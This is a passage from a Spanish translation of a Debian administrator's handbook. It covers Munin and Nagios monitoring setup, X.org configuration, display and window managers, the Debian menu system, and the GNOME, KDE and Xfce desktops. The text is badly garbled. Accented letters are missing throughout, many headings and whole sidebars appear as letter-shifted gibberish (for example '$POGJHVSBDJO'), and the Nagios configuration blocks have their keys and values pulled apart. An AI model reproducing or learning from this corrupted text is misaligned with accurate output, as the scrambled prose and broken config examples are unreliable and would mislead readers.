munin-cron (una vez cada 5 minutos), mediante el que obtiene datos de todos los equipos enumerados en /etc/munin/munin.conf (de forma predeterminada slo incluye al equipo local),
guarda los datos histricos en archivos RRD (base de datos Round Robin: Round Robin Database,
un formato de archivo diseado para almacenar datos que varan en el tiempo) almacenados en
/var/lib/munin/ y genera una pgina HTML con los grficos en /var/cache/munin/www/.
Por lo tanto, debe enumerar todas las mquinas monitorizadas en el archivo de configuracin
/etc/munin/munin.conf. Cada mquina es enumerada como una seccin completa con el nombre que coincide con el equipo y al menos un elemento BEESFTT que provee la direccin IP correspondiente.
[ftp.falcot.com]
address 192.168.0.12
use_node_name yes

Las secciones pueden ser ms complejas y describir grficos adicionales que puede crear combinando datos de varias mquinas. Los ejemplos que provee el archivo de configuracin son
buenos puntos de partida para personalizar.
El ltimo paso es publicar las pginas generadas; esto involucra configurar un servidor web para
que el contenido de /var/cache/munin/www/ est disponible en un sitio web. Generalmente
restringir el acceso a este sitio web, ya sea con un mecanismo de autenticacin o un control de
acceso basado en IP. Revise la Seccin 11.2, Servidor web (HTTP) pgina 276 para los detalles
relevantes.

 $POGJHVSBDJO EF /BHJPT


A diferencia de Munin, Nagios no necesita instalar algo en los equipos monitorizados; la mayora
de las veces, se utiliza Nagios para revisar la disponibilidad de servicios de red. Por ejemplo,
Nagios puede conectarse a un servidor web y revisar si puede obtener una pgina web dada en
un tiempo especificado.

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



*OTUBMBDJO
El primer paso para configurar Nagios es instalar los paquetes nagios3, nagios-plugins y nagios3doc. La instalacin de estos paquetes configurar la interfaz web y crear un primer usuario
OBHJPTBENJO (para el que pedir una contrasea). Agregar otros usuarios es tan simple como
agregarlos al archivo /etc/nagios3/htpasswd.users con el programa htpasswd de Apache. Si
no se muestra ninguna pregunta Debconf durante su instalacin, puede utilizar dpkg-reconfi
gure nagios3-cgi para definir la contrasea de OBHJPTBENJO.
Apuntar un navegador a IQTFSWJEPSOBHJPT mostrar la interfaz web; en particular ver
que Nagios ya monitoriza algunos parmetros de la mquina en la que ejecuta. Sin embargo,
algunas caractersticas interactivas como agregar comentarios a los equipos no funcionarn.
Estas caractersticas estn desactivadas en la configuracin predeterminada de Nagios, la cual
es muy restrictiva por cuestiones de seguridad.
Como est documentado en /usr/share/doc/nagios3/README.Debian, para activar algunas
funcionalidades deberemos editar el archivo /etc/nagios3/nagios.cfg y definir su parmetro
DIFDL@FYUFSOBM@DPNNBOE como 1. Tambin necesitaremos configurar permisos de escritura
al directorio que utiliza Nagios, ejecutando algo similar a:
# /etc/init.d/nagios3 stop
[...]
# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw
# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
# /etc/init.d/nagios3 start
[...]

$POGJHVSBDJO
La interfaz web de Nagios es bastante agradable, pero no permite configuracin ni puede utilizarla para agregar equipos o servicios a monitorizar. Se administra toda la configuracin
a travs de archivos referenciados en el archivo de configuracin central, /etc/nagios3/
nagios.cfg.
No debe adentrarse en estos archivos sin entender algunos conceptos de Nagios. La configuracin enumera objetos de los siguientes tipos:
a host es una mquina a monitorizar;
un hostgroup es un conjunto de equipos que deben ser agrupados para visualizacin o
para abstraer algunos elementos de configuracin en comn;
un service es un elemento a probar relacionado a un equipo o grupo. La mayora de
las veces ser un chequeo de un servicio de red, pero tambin puede incluir revisar que
algunos parmetros estn dentro de un rango aceptable (por ejemplo, espacio libre en el
disco o carga del procesador);
un servicegroup es un conjunto de servicios que deben ser agrupados para visualizacin;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

un contact es una persona que puede recibir alertas;


un contactgroup es un conjunto de contactos;
un timeperiod es un rango de tiempo durante el que se deben revisar algunos servicios;
un command es la lnea de rdenes ejecutada para revisar un servicio dado.
Segn su tipo, cada objeto tiene una cantidad de propiedades que podemos personalizar. Una
lista completa sera demasiado extensa, pero las propiedades ms importantes son las relaciones
entre objetos.
Un service utiliza un command para revisar el estado de una caracterstica en un host (o
hostgroup) durante un timeperiod. En caso de un problema, Nagios enva una alerta a todos
los miembros de un contactgroup relacionado con el servicio. Se enva la alerta a cada miembro
segn el canal descripto en el objeto contact asociado.
Un sistema de herencia permite compartir fcilmente un conjunto de propiedades entre varios
objetos sin duplicar informacin. Lo que es ms, la configuracin inicial incluye algunos objetos estndar; en muchos casos, definir nuevos equipos, servicios y contactos es tan simple como
derivar de los objetos genricos provistos. Los archivos en /etc/nagios3/conf.d/ son una buena fuente de informacin sobre cmo funcionan.
Los administradores de Falcot Corp utilizan la siguiente configuracin:
&KFNQMP 

"SDIJWP /etc/nagios3/conf.d/falcot.cfg

define contact{
name
generic-contact
service_notification_period
24x7
host_notification_period
24x7
service_notification_options
w,u,c,r
host_notification_options
d,u,r
service_notification_commands
notify-service-by-email
host_notification_commands
notify-host-by-email
register
0 ; Slo plantilla
}
define contact{
use
generic-contact
contact_name
rhertzog
alias
Raphael Hertzog
email
hertzog@debian.org
}
define contact{
use
generic-contact
contact_name
rmas
alias
Roland Mas
email
lolando@debian.org
}
define contactgroup{

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



contactgroup_name
alias
members

falcot-admins
Falcot Administrators
rhertzog,rmas

}
define host{
use
host_name
alias
address
contact_groups
hostgroups
}
define host{
use
host_name
alias
address
contact_groups
hostgroups
}

generic-host ; Nombre de la plantilla de host a utilizar


www-host
www.falcot.com
192.168.0.5
falcot-admins
debian-servers,ssh-servers

generic-host ; Nombre de la plantilla de host a utilizar


ftp-host
ftp.falcot.com
192.168.0.6
falcot-admins
debian-servers,ssh-servers

# orden 'check_ftp' con parmetros personalizados


define command{
command_name
check_ftp2
command_line
/usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c
30 -t 35
}
# Servicio genrico de Falcot
define service{
name
falcot-service
use
generic-service
contact_groups
falcot-admins
register
0
}
# Servicios a chequear en
define service{
use
host_name
service_description
check_command
}
define service{
use
host_name
service_description
check_command



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

www-host
falcot-service
www-host
HTTP
check_http

falcot-service
www-host
HTTPS
check_https

}
define service{
use
host_name
service_description
check_command
}
# Servicios a chequear en
define service{
use
host_name
service_description
check_command
}

falcot-service
www-host
SMTP
check_smtp

ftp-host
falcot-service
ftp-host
FTP
check_ftp2

Este archivo de configuracin describe dos equipos monitorizados. El primero es el servidor


web, y se realizan chequeos en los puertos HTTP (80) y HTTP seguro (443). Nagios tambin revisa
que el servidor SMTP ejecute en el puerto 25. El segundo equipo es el servidor FTP y el chequeo
incluye asegurarse que responda en menos de 20 segundos. Ms all de esta demora, se generar
un warning (precaucin); ms de 30 segundos generar una alerta crtica. La interfaz web
tambin muestra que se monitoriza el servicio SSH: esto proviene de los equipos que pertenecen
al hostgroup TTITFSWFST. El servicio estndar asociado est definido en /etc/nagios3/conf.
d/services_nagios2.cfg.
Ver cmo utilizamos herencia: un objeto hereda de otro objeto con la propiedad use nombrepadre. Debemos poder identificar al objeto padre, lo que requiere incluir en l una propiedad
name identificador. Si no deseamos que el objeto padre sea un objeto real, sino que slo sirva
como padre, agregar una propiedad register 0 le indica a Nagios que no lo considere y, por lo
tanto, ignore la falta de algunos parmetros que seran obligatorios.
%0$6.&/5"$*/
-JTUB EF QSPQJFEBEFT EF
PCKFUPT

1VFEF PCUFOFS JOGPSNBDJO NT EFUBMMBT TPCSF MBT NVDIBT GPSNBT FO MBT RVF
QVFEF DPOGJHVSBS /BHJPT FO MB EPDVNFOUBDJO RVF QSPWFF FM QBRVFUF OBHJPT
EPD 1VFEF BDDFEFS EJSFDUBNFOUF B FTUB EPDVNFOUBDJO EFTEF MB JOUFSGB[ XFC
DPO FM FOMBDF k%PDVNFOUBDJO{ FO MB FTRVJOB TVQFSJPS J[RVJFSEB TUB JODMVZF
VOB MJTUB EF UPEPT MPT UJQPT EF PCKFUPT BT DPNP UBNCJO MBT QSPQJFEBEFT RVF
QVFEFO UFOFS 5BNCJO FYQMJDB DNP DSFBS OVFWPT QMVHJOT

:&/%0 .4 "--
1SVFCBT SFNPUBT DPO /31&

.VDIPT QMVHJOT EF /BHJPT QFSNJUFO DIFRVFBS QBSNFUSPT MPDBMFT EF VO


FRVJQP TJ NVDIBT NRVJOBT OFDFTJUBO FTUPT DIFRVFPT QBSB RVF MPT SFDPMFDUF
VOB JOTUBMBDJO DFOUSBM OFDFTJUB EFTQMFHBS FM QMVHJO /31& FKFDVDJO SFNPUB
EF QMVHJOT EF /BHJPT k/BHJPT 3FNPUF 1MVHJO &YFDVUPS{
 /FDFTJUBS JOTUBMBS
FM QBRVFUF OBHJPTOSQFQMVHJO FO FM TFSWJEPS /BHJPT Z FM QBRVFUF OBHJPTOSQF
TFSWFS FO MPT FRVJQPT TPCSF MPT RVF FKFDVUBS MPT UFTUT MPDBMFT &TUF MUJNP PC
UFOES TV DPOGJHVSBDJO EFM BSDIJWP /etc/nagios/nrpe.cfg &TUF BSDIJWP EFCF
FOVNFSBS MBT QSVFCBT RVF QVFEF JOJDJBSTF SFNPUBNFOUF Z MBT EJSFDDJPOFT *1 EF

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



MBT NRVJOBT RVF QVFEF FKFDVUBSMBT %FM MBEP EF /BHJPT BDUJWBS FTUBT QSVF
CBT SFNPUBT FT UBO TJNQMF DPNP BHSFHBS MPT TFSWJDJPT BQSPQJBEPT VUJMJ[BOEP FM
OVFWP kDPNNBOE{ DIFDL@OSQF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
&TUBDJO EF USBCBKP
&TDSJUPSJP HSGJDP
5SBCBKP EF PGJDJOB
9PSH

$BQUVMP

&TUBDJO EF USBCBKP


$POUFOJEPT

$POGJHVSBDJO EFM TFSWJEPS 9 

1FSTPOBMJ[BDJO EF MB JOUFSGB[ HSGJDB 


)FSSBNJFOUBT 

&TDSJUPSJPT HSGJDPT 

&NVMBDJO EF 8JOEPXT 8JOF 

Ahora que ya se desplegaron los servidores, los administradores pueden enfocarse en


instalar las estaciones de trabajo individuales y crear una configuracin tpica.

 $POGJHVSBDJO EFM TFSWJEPS 9


La configuracin inicial de la interfaz grfica a veces puede ser extraa; tarjetas de video muy
recientes muchas veces no funcionan perfectamente con la versin de X.org que se encuentra
en la versin estable de Debian.
Un breve recordatorio: X.org es el componente de software que permite que las aplicaciones
grficas muestren ventanas en la pantalla. Incluye un controlador que utiliza la tarjeta de video
de forma eficiente. Se exporta la funcionalidad ofrecida a las aplicaciones grficas a travs de
una interfaz estndar, X11 (Wheezy contiene la versin X11R7.7).
1&341&$5*7"
9 9'SFF Z 9PSH

9 FT FM TJTUFNB HSGJDP NT VUJMJ[BEP FO TJTUFNBT UJQP 6OJY UBNCJO


EJTQPOJCMF FO BEFNT EFM TJTUFNB OBUJWP 8JOEPXT Z .BD 04
 &TUSJDUBNFOUF
IBCMBOEP FM USNJOP k9{ TMP TF SFGJFSF B MB FTQFDJGJDBDJO EFM QSPUPDPMP
QFSP FO MB QSDUJDB UBNCJO TF MP VUJMJ[B QBSB SFGFSJSTF B MB JNQMFNFOUBDJO
9 UVWP VO DPNJFO[P FTDBCSPTP QFSP 9'SFF TVSHJ FO MPT T DPNP MB JN
QMFNFOUBDJO EF SFGFSFODJB QPSRVF FSB TPXBSF MJCSF QPSUBCMF Z NBOUFOJEP EF
GPSNB DPMBCPSBUJWB QPS TV DPNVOJEBE 4JO FNCBSHP MB WFMPDJEBE EF FWPMVDJO
TF SFEVKP IBDJB FM GJOBM DVBOEP FM TPXBSF TMP PCUFOB OVFWPT DPOUSPMBEPSFT
%JDIB TJUVBDJO KVOUP DPO FM DPOUSPWFSUJEP DBNCJP EF MJDFODJB MMFW B MB CJ
GVSDBDJO FO 9PSH FO  &TUB FT BIPSB MB JNQMFNFOUBDJO EF SFGFSFODJB Z
%FCJBO 8IFF[Z VUJMJ[B MB WFSTJO  EF 9PSH

Las versiones actuales de X.org pueden detectar automticamente el hardware disponible: tanto la tarjeta de video y el monitor como el teclado y ratn; de hecho, es tan conveniente que
el paquete ya no crea un archivo de configuracin /etc/X11/xorg.conf. Todo esto es posible
gracias a las funcionalidades que provee el ncleo Linux 2.6 (en particular para teclados y ratones), en el que cada controlador indica con qu tarjetas de video es compatible y utilizando el
protocolo DDC para obtener las caractersticas del monitor.
Actualmente, la configuracin del teclado est definida en /etc/default/keyboard. Se utiliza
este archivo tanto para configurar la consola de texto como la interfaz grfica y es gestionado
por el paquete keyboard-configuration. Puede encontrar detalles sobre la configuracin del teclado en la Seccin 8.1.2, Configuracin del teclado pgina 153.
El paquete xserver-xorg-core provee un servidor X genrico, como el utilizado en las versiones 7.x
de X.org. Este servidor es modular y utiliza un conjunto de controladores independientes para
gestionar la gran variedad de tipos de tarjetas de video. Instalar xserver-xorg le asegurar que se
instale tanto el servidor como al menos un controlador de video.
Sepa que si la tarjeta de video detectada no es compatible con ninguno de los controladores
disponibles, X.org intentar utilizar los controladores VESA y fbdev. El primero es un controlador genrico que debera funcionar siempre, pero con capacidades limitadas (menos resoluciones disponibles, sin aceleracin por hardware para juegos o efectos visuales del escritorio,
etc.) mientras que el ltimo funciona sobre el dispositivo framebuffer del ncleo. El servidor
X escribe sus mensajes al archivo de registro /var/log/Xorg.0.log, donde uno buscara para



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

saber qu controlador est utilizando actualmente. Por ejemplo, el siguiente extracto coincide
con la salida de cuando se carga el controlador JOUFM:
(==)
(==)
(==)
(==)
(II)
(II)

Matched intel as autoconfigured driver 0


Matched vesa as autoconfigured driver 1
Matched fbdev as autoconfigured driver 2
Assigned the driver to the xf86ConfigLayout
LoadModule: "intel"
Loading /usr/lib/xorg/modules/drivers/intel_drv.so

&953"
$POUSPMBEPSFT QSJWBUJWPT

"MHVOPT GBCSJDBOUFT EF UBSKFUBT EF WJEFP NT OPUBCMFNFOUF O7JEJB


TF OJF
HBO B QVCMJDBS MBT FTQFDJGJDBDJPOFT EF IBSEXBSF RVF TPO OFDFTBSJBT QBSB JN
QMFNFOUBS CVFOPT DPOUSPMBEPSFT MJCSFT 4 QSPWFFO TJO FNCBSHP DPOUSPMBEPSFT
QSJWBUJWPT RVF QFSNJUFO VUJMJ[BS TV IBSEXBSF &TUB QPMUJDB FT OFGBTUB ZB RVF
BO DVBOEP FYJTUFO MPT DPOUSPMBEPSFT OFDFTBSJPT HFOFSBMNFOUF OP FTUO UBO
QVMJEPT DPNP EFCFSBO MP RVF FT NT JNQPSUBOUF OP TJHVFO OFDFTBSJBNFOUF
MBT BDUVBMJ[BDJPOFT EF 9PSH MP RVF QPESB FWJUBS RVF DBSHVF DPSSFDUBNFOUF
P QPS DPNQMFUP
FM MUJNP DPOUSPMBEPS EJTQPOJCMF /P QPEFNPT KVTUJGJDBS FTUF
DPNQPSUBNJFOUP Z SFDPNFOEBNPT RVF FWJUF B FTUPT GBCSJDBOUFT FO GBWPS EF
BRVFMMPT NT DPPQFSBUJWPT
4J BO BT UFSNJOB DPO VOB EF FTUBT UBSKFUBT FODPOUSBS MPT QBRVFUFT OFDFTBS
JPT FO MB TFDDJO OPOGSFF OWJEJBHMY QBSB UBSKFUBT O7JEJB Z GHMSYESJWFS QBSB
BMHVOBT UBSKFUBT "5* &O BNCPT DBTPT OFDFTJUBS MPT NEVMPT EF ODMFP DPSSF
TQPOEJFOUFT 1VFEF BVUPNBUJ[BS MB DPNQJMBDJO EF FTUPT NEVMPT DPO MB JOTUB
MBDJO EF MPT QBRVFUFT OWJEJBLFSOFMELNT QBSB O7JEJB
P GHMSYNPEVMFTELNT
QBSB "5*

&M QSPZFDUP kOPVWFBV{ JOUFOUB EFTBSSPMMBS VO DPOUSPMBEPS RVF TFB TPXBSF
MJCSF QBSB MBT UBSKFUBT O7JEJB %FTEF 8IFF[Z TV DPOKVOUP EF GVODJPOBMJEBE OP
BMDBO[B BM DPOUSPMBEPS QSJWBUJWP &O EFGFOTB EF MPT EFTBSSPMMBEPSFT EFCFNPT
NFODJPOBS RVF TMP QVFEFO DPOTFHVJS MB JOGPSNBDJO OFDFTBSJB DPO JOHFOJFSB
JOWFSTB MP RVF EJGJDVMUB MB DVFTUJO &M DPOUSPMBEPS MJCSF QBSB MBT UBSKFUBT EF
WJEFP "5* MMBNBEP kSBEFPO{ FT NVDIP NFKPS FO EJDIP BTQFDUP QFSP HFOFSBM
NFOUF OFDFTJUB GJSNXBSF QSJWBUJWP

 1FSTPOBMJ[BDJO EF MB JOUFSGB[ HSGJDB


 &MFDDJO EF VO HFTUPS EF QBOUBMMB
La interfaz grfica slo provee un espacio en la pantalla. Ejecutar nicamente el servidor X slo
le llevar a una pantalla vaca, razn por la que la mayora de las instalaciones utilizan un gestor
de pantalla (Display Manager) para mostrar la pantalla de autenticacin de usuarios e iniciar el
escritorio grfico una vez que se autentic el usuario. Los tres gestores de pantalla ms populares
utilizados actualmente son gdm3 (GNOME Display Manager), kdm (KDE Display Manager) y xdm (X
Display Manager). Debido a que los administradores de Falcot Corp eligieron utilizar el entorno de
escritorio GNOME, lgicamente seleccionaron gdm3 como gestor de pantalla tambin. El archivo
de configuracin /etc/gdm3/daemon.conf tiene muchas opciones (puede encontrar la lista en

$BQUVMP  & TUBDJO EF USBCBKP



el archivo de esquemas /usr/share/gdm/gdm.schemas) para controlar su comportamiento y el


archivo /etc/gdm3/greeter.gsettings contiene la configuracin de la sesin de inicio (es
ms que slo una pantalla para inicio de sesin, es un escritorio limitado con herramientas de
accesibilidad y gestin de energa). Tenga en cuenta que puede personalizar las opciones ms
tiles para los usuarios desde el centro de control de GNOME.

 &MFDDJO EF VO HFTUPS EF WFOUBOBT


Debido a que cada escritorio grfico provee su propio gestor de ventanas, elegir el primero generalmente implica una eleccin de software para el ltimo. GNOME utiliza el gestor de ventanas
mutter (o metacity cuando utiliza el modo clsico de GNOME), KDE utiliza kwin y Xfce (que
presentaremos ms adelante) utiliza xfwm. La filosofa Unix siempre permiti utilizar el gestor
de ventanas que uno prefiera, pero utilizar los recomendados permite que un administrador
aproveche mejor los esfuerzos de integracin que realiza cada proyecto.
70-7&3 " -04
$*.*&/504
(FTUPS EF WFOUBOBT

$POUJOVBOEP MB USBEJDJO 6OJY EF TMP IBDFS VOB DPTB QFSP IBDFSMB CJFO FM
HFTUPS EF WFOUBOBT NVFTUSB MBT kEFDPSBDJPOFT{ BMSFEFEPS EF MBT WFOUBOBT RVF
QFSUFOFDFO B MBT BQMJDBDJPOFT RVF FTUO FKFDVUBOEP BDUVBMNFOUF MP RVF JO
DMVZF NBSDPT Z MB CBSSB EF UUVMP 5BNCJO QFSNJUF SFEVDJS SFTUBVSBS NBYJ
NJ[BS Z FTDPOEFS WFOUBOBT -B NBZPSB EF MPT HFTUPSFT EF WFOUBOBT UBNCJO
QSPWFFO VO NFO RVF BQBSFDF DVBOEP TF QVMTB FM FTDSJUPSJP EF VOB GPSNB FT
QFDGJDB &TUF NFO QSPWFF VOB GPSNB EF DFSSBS MB TFTJO EFM HFTUPS EF WFO
UBOBT JOJDJBS OVFWBT BQMJDBDJPOFT Z FO BMHVOPT DBTPT DBNCJBS B PUSP HFTUPS
EF WFOUBOBT TJ IBZ BMHO PUSP JOTUBMBEP


Para los equipos ms antiguos, sin embargo, es ms complicado ejecutar entornos grficos de
escritorio pesados. En estos casos, debera utilizar una configuracin ms ligera. Gestores de
ventanas ligeros (con una pequea carga) incluyen: WindowMaker (en el paquete wmaker),
Afterstep, fvwm, icewm, blackbox, fluxbox u openbox. En estos casos, deber configurar el sistema para que el gestor de ventanas apropiado tenga precedencia; la forma estndar es cambiar
la alternativa x-window-manager ejecutando update-alternatives --config x-windowmanager.
&41&$'*$0 &/ %&#*"/
"MUFSOBUJWBT

-B OPSNBUJWB %FCJBO FOVNFSB VOB DBOUJEBE EF SEFOFT FTUBOEBSJ[BEBT QBSB


FKFDVUBS VOB BDDJO QBSUJDVMBS 1PS FKFNQMP MB PSEFO x-window-manager FKFDV
UB FM HFTUPS EF WFOUBOBT 1FSP %FCJBO OP BTJHOB FTUB PSEFO B VO HFTUPS EF WFO
UBOBT QBSUJDVMBS &M BENJOJTUSBEPS QVFEF FMFHJS RV HFTUPS EF WFOUBOBT EFCF
FKFDVUBS
1BSB DBEB HFTUPS EF WFOUBOBT FM QBRVFUF SFMFWBOUF SFHJTUSB FM QSPHSBNB SFM
FWBOUF DPNP VOB PQDJO QPTJCMF QBSB x-window-manager KVOUP DPO MB QSJPS
JEBE BTPDJBEB 4JFNQSF RVF OP FYJTUBO DPOGJHVSBDJPOFT FYQMDJUBT QPS FM BE
NJOJTUSBEPS FTUB QSJPSJEBE QFSNJUF TFMFDDJPOBS FM NFKPS HFTUPS EF WFOUBOBT
JOTUBMBEP DVBOEP TF FKFDVUB MB PSEFO HFOSJDB
5BOUP SFHJTUSBS VO QSPHSBNB DPNP DPOGJHVSBSMP FYQMDJUBNFOUF JOWPMVDSBO FM
TDSJQU update-alternatives 4FMFDDJPOBS B EOEF BQVOUB VOB PSEFO TJNCMJDB



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

FT TJNQMFNFOUF DVFTUJO EF FKFDVUBS update-alternatives --config ordensimblica &M TDSJQU update-alternatives DSFB Z BENJOJTUSB
FOMBDFT TJNCMJ
DPT FO FM EJSFDUPSJP /etc/alternatives/ RVF B TV WF[ SFGFSFODJB MB VCJDBDJO
EFM FKFDVUBCMF $PO FM QBTP EFM UJFNQP TF JOTUBMBSO P FMJNJOBSO QBRVFUFT
ZP FM BENJOJTUSBEPS IBS DBNCJPT FYQMDJUPT B MB DPOGJHVSBDJO $VBOEP TF
FMJNJOB FM QBRVFUF RVF QSPWFF VOB BMUFSOBUJWB TUB BVUPNUJDBNFOUF EFSJWB
FO MB TJHVJFOUF NFKPS PQDJO FOUSF MPT QSPHSBNBT EJTQPOJCMFT RVF DPOUJOBO
JOTUBMBEPT
-B OPSNBUJWB %FCJBO OP FOVNFSB FYQMDJUBNFOUF UPEBT MBT SEFOFT TJNCMJ
DBT BMHVOPT FODBSHBEPT EF QBRVFUFT %FCJBO EFMJCFSBEBNFOUF FMJHJFSPO VUJ
MJ[BS FTUF NFDBOJTNP FO DBTPT NFOPT EJSFDUPT FO MPT RVF QSPWFF VOB GMFYJCJMJ
EBE JOUFSFTBOUF MPT FKFNQMPT JODMVZFO x-www-browser www-browser cc c++
awk FUD


 (FTUJO EFM NFO


Los entornos de escritorio modernos y muchos gestores de ventanas proveen mens que enumeran las aplicaciones disponibles al usuario. Para poder mantenerlos actualizados en relacin
al conjunto real de aplicaciones disponibles Debian cre una base de datos centralizada que registra todas las aplicaciones instaladas. Un paquete recin instalado se registra en dicha base de
datos y le indica al sistema que actualice los mens correspondientes. El paquete menu gestiona
esta infraestructura.
Cuando un paquete provee una aplicacin que debera aparecer en el men del sistema, almacena una archivo en el directorio /usr/share/menu/. Dicho archivo describe alguna de las caractersticas de la aplicacin (inluyendo si es una aplicacin grfica o no) y su mejor ubicacin en la
jerarqua de mens. El script postinstalacin de este paquete luego ejecuta el programa updatemenus, el cual actualiza los archivos necesarios. Este programa no puede saber todos los tipos de
men utilizados por las aplicaciones instaladas. Como consecuencia, los paquetes que pueden
mostrar un men deben proveer un scripts ejecutable para ejecutar con toda la informacin
necesaria del archivo de men; el script debe convertir esta informacin en elementos que la
aplicacin con el men pueda utilizar. Estos scripts de filtro se encuentran instalados en el directorio /etc/menu-methods/.
:&/%0 .4 "--
&TUBOEBSJ[BDJO EF NFOT

%FCJBO QSPWFF TV QSPQJP TJTUFNB EF NFOT QFSP UBOUP (/0.& DPNP ,%&
EFTBSSPMMBSPO TVT QSPQJBT TPMVDJPOFT UBNCJO -PT EPT QSPZFDUPT BDPSEBSPO
VO GPSNBUP QBSB FTUPT NFOT NT QSFDJTBNFOUF VO GPSNBUP DPNO QBSB
MPT BSDIJWPT .desktop RVF SFQSFTFOUBO FMFNFOUPT EF NFO CBKP FM QSPZFDUP
EF VOJGJDBDJO 'SFF%FTLUPQPSH
http://www.freedesktop.org/

-PT EFTBSSPMMBEPSFT %FCJBO TJHVJFSPO EF DFSDB FTUF QSPZFDUP Z FM TJTUFNB EF


NFO EF %FCJBO QVFEF HFOFSBS BSDIJWPT .desktop DPO MB BZVEB EFM QBRVFUF
NFOVYEH
 4JO FNCBSHP OJ (/0.& OJ ,%& VUJMJ[BO FM NFO EF %FCJBO "N
CPT QSFGJFSFO NBOUFOFS FM DPOUSPM DPNQMFUP EF TVT NFOT 5FOHB FO DVFOUB
RVF FM NPEP DMTJDP EF (/0.& UJFOF VO NFO SFBM MB TFTJO QSFEFUFSNJOB
EB EF (/0.& VUJMJ[B (/0.& TIFMM RVF FMJNJO FM NFO EF BQMJDBDJPOFT QPS

$BQUVMP  & TUBDJO EF USBCBKP



DPNQMFUP &O FM NPEP DMTJDP EF (/0.& FM FEJUPS EF NFO FO FM QBRVFUF


BMBDBSUF
TF FODVFOUSB EJTQPOJCMF QVMTBOEP DPO FM CPUO EFSFDIP FO FM NFO
EFM QBOFM Z TFMFDDJPOBOEP MVFHP k&EJUBS NFOT{

El administrador tambin tiene voz en el proceso y en los mens generados como resultado.
Primero, pueden eliminar un elemento del men an cuando est instalada la aplicacin correspondiente simplemente almacenando un archivo vaco en /etc/menu/ con el nombre segn el
paquete que provee los elementos a desactivar. Segundo, puede reorganizar el men y cambiar
el nombre o reagrupar las secciones. La definicin de esta reorganizacin se encuentra en /etc/
menu-methods/translate_menus y contiene ejemplos documentados. Por ltimo, puede agregar nuevos elementos en el men, por ejemplo para iniciar programas instalados fuera del sistema de paquetes o para ejecutar una orden particular como iniciar un navegador en una pgina
particular. Especificar estos elementos adicionales en archivos /etc/menu/local.elemento,
que tienen el mismo formato que otros archivos de men disponibles en /usr/share/menu/.

 &TDSJUPSJPT HSGJDPT


El campo de escritorios grficos libres es dominado por dos grandes colecciones de software:
GNOME y KDE. Ambos son muy populares. Esto es algo raro en el mundo del software libre; el
servidor web Apache, por ejemplo, tiene pocos pares.
Esta diversidad tiene un origen histrico. KDE fue el primer proyecto de escritorio grfico pero
eligi las herramientas grficas Qt, una eleccin que no era aceptable para una gran cantidad de
desarrolladores. Qt no era software libre en aqul entonces y GNOME comenz basndose en las
herramientas GTK+. Qt se convirti en software libre mientras tanto, pero los proyectos nunca
se fusionaron y, en cambio, evolucionaron en paralelo.
GNOME y KDE todava trabajan juntos: bajo el ala de FreeDesktop.org, los proyectos colaboran
en la definicin de estndares de interoperatividad entre aplicaciones.
Elegir el mejor escritorio grfico es un tema sensible que preferimos evitar. Simplemente
describiremos las muchas posibilidades y proveeremos algunas ideas para considerar. La mejor
opcin es aquella que tome por su cuenta luego de un poco de experimentacin.

 (/0.&
Debian Wheezy incluye GNOME versin 3.4, que puede instalar con apt-get install gnome
(tambin puede instalarlo si selecciona la tarea Entorno grfico de escritorio).
GNOME es notable por sus esfuerzos en cuanto a usabilidad y accesibilidad. Profesionales de diseo estuvieron involucrados en la escritura de estndares y recomendaciones. Esto ayud a los
desarrolladores a crear interfaces grficas de usuario satisfactorias. El proyecto tambin obtiene
estmo de grandes miembros de la informtica como Intel, IBM, Oracle, Novell y, por supuesto,
varias distribuciones Linux. Finalmente, puede utilizar muchos lenguajes de programacin para
desarrollar aplicaciones que interacten con GNOME.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

A GNOME le tom bastante tiempo construir esta infraestructura, lo que puede explicar lo que
parecera un escritorio menos maduro que KDE. En particular, los esfuerzos de usabilidad y accesibilidad son recientes y sus beneficios slo comenzaron a ver la luz en las ltimas versiones
del entorno.

'JHVSB 

&M FTDSJUPSJP (/0.&

Para los administadores, GNOME parece estar mejor preparado para despliegues masivos. Dos
registros gestionan la configuracin de aplicaciones: GSettings (el estndar actual que almacena
sus datos en DConf) y GConf (el sistema anterior utilizado en GNOME 2.x pero utilizado todava
por unas pocas aplicaciones de GNOME 3.x). Puede consultar y editar estos registros con las
herramientas de consola gsettings, dconf y gconftool-2 o las interfaces de usuario dconfeditor y gconf-editor. Por lo tanto, el administrador puede modificar la configuracin de los
usuarios con un simple script. El siguiente sitio web enumera toda la informacin interesante
para un administrador que debe gestionar estaciones de trabajo GNOME:
http://library.gnome.org/admin/system-admin-guide/stable/
http://library.gnome.org/admin/deployment-guide/

 ,%&
Debian Wheezy incluye la versin 4.8.4 de KDE, que puede instalar con apt-get install kdestandard.
KDE tuvo una evolucin rpida basndose en un enfoce muy prctico. Sus autores obtuvieron
muy buenos resultados rpidamente, lo que les permiti obtener una gran base de usuarios.

$BQUVMP  & TUBDJO EF USBCBKP



Estos factores contribuyeron a la calidad general del proyecto. KDE es un entorno de escritorio
perfectamente maduro con un amplio rango de aplicaciones.

'JHVSB 

&M FTDSJUPSJP ,%&

Con la publicacin de Qt 4.0 desapareci el ltimo problema de licencias de KDE. Se public esta
versin bajo la GPL tanto para Linux como para Windows (anteriormente, la versin de windows
se encontraba bajo una licencia privativa). Sepa que se deben desarrollar las aplicaciones KDE
con el lenguaje C++.

 9GDF Z PUSPT


XFce es un escritorio grfico simple y liviano, ideal para equipos con recursos limitados. Puede
instalarlo con apt-get install xfce4. Al igual que GNOME, Xfce est basado en las herramientas GTK+ y ambos escritorios comparten varios componentes.
A diferencia de GNOME y KDE, Xfce no tiene como objetivo ser un gran proyecto. Ms all de los
componentes bsicos de un escritorio moderno (gestor de archivos, gestor de ventanas, gestor
de sesiones, panel para lanzadores de aplicaciones, etc.), slo provee unas pocas aplicaciones
especficas: un navegador web muy liviano (Midori), una terminal, un calendario, un visor de
imgenes, una herramienta de grabacin de CD/DVD, un reproductor de medios (Parole) y un
control de volumen de sonido.



